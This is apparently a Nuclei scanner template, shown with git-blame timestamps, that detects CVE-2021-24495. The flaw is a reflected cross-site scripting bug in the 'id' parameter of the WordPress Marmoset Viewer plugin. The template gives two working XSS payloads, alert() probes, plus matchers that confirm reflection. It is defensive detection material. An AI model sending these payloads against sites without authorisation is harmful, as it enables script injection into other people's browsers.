2021-07-06 06:37:53 +00:00
id : CVE-2021-24495
2021-06-30 07:12:12 +00:00
info :
2022-08-29 13:55:23 +00:00
name : Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
2021-06-30 07:12:12 +00:00
author : johnjhacking
severity : medium
2022-08-29 13:55:23 +00:00
description : WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
- https://wordpress.org/plugins/marmoset-viewer/#developers
2022-05-17 09:18:12 +00:00
- https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
2022-08-29 13:55:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24495
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-24495
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : xss,wpscan,cve,cve2021,wp-plugin,wordpress
2021-06-30 07:12:12 +00:00
requests :
- method : GET
path :
2021-06-30 12:54:34 +00:00
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
2021-07-06 00:39:25 +00:00
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
2021-07-06 06:37:53 +00:00
2021-06-30 07:12:12 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-07-06 06:33:51 +00:00
2021-06-30 07:12:12 +00:00
- type : word
words :
2021-06-30 12:54:34 +00:00
- "</script><svg/onload=alert('{{randstr}}')>"
2021-07-06 00:39:25 +00:00
- "alert(/{{randstr}}/)"
2021-06-30 07:12:12 +00:00
part : body
2021-07-06 06:33:51 +00:00
condition : or
- type : word
words :
- "Marmoset Viewer"
2022-08-29 13:55:23 +00:00
# Enhanced by mp on 2022/08/28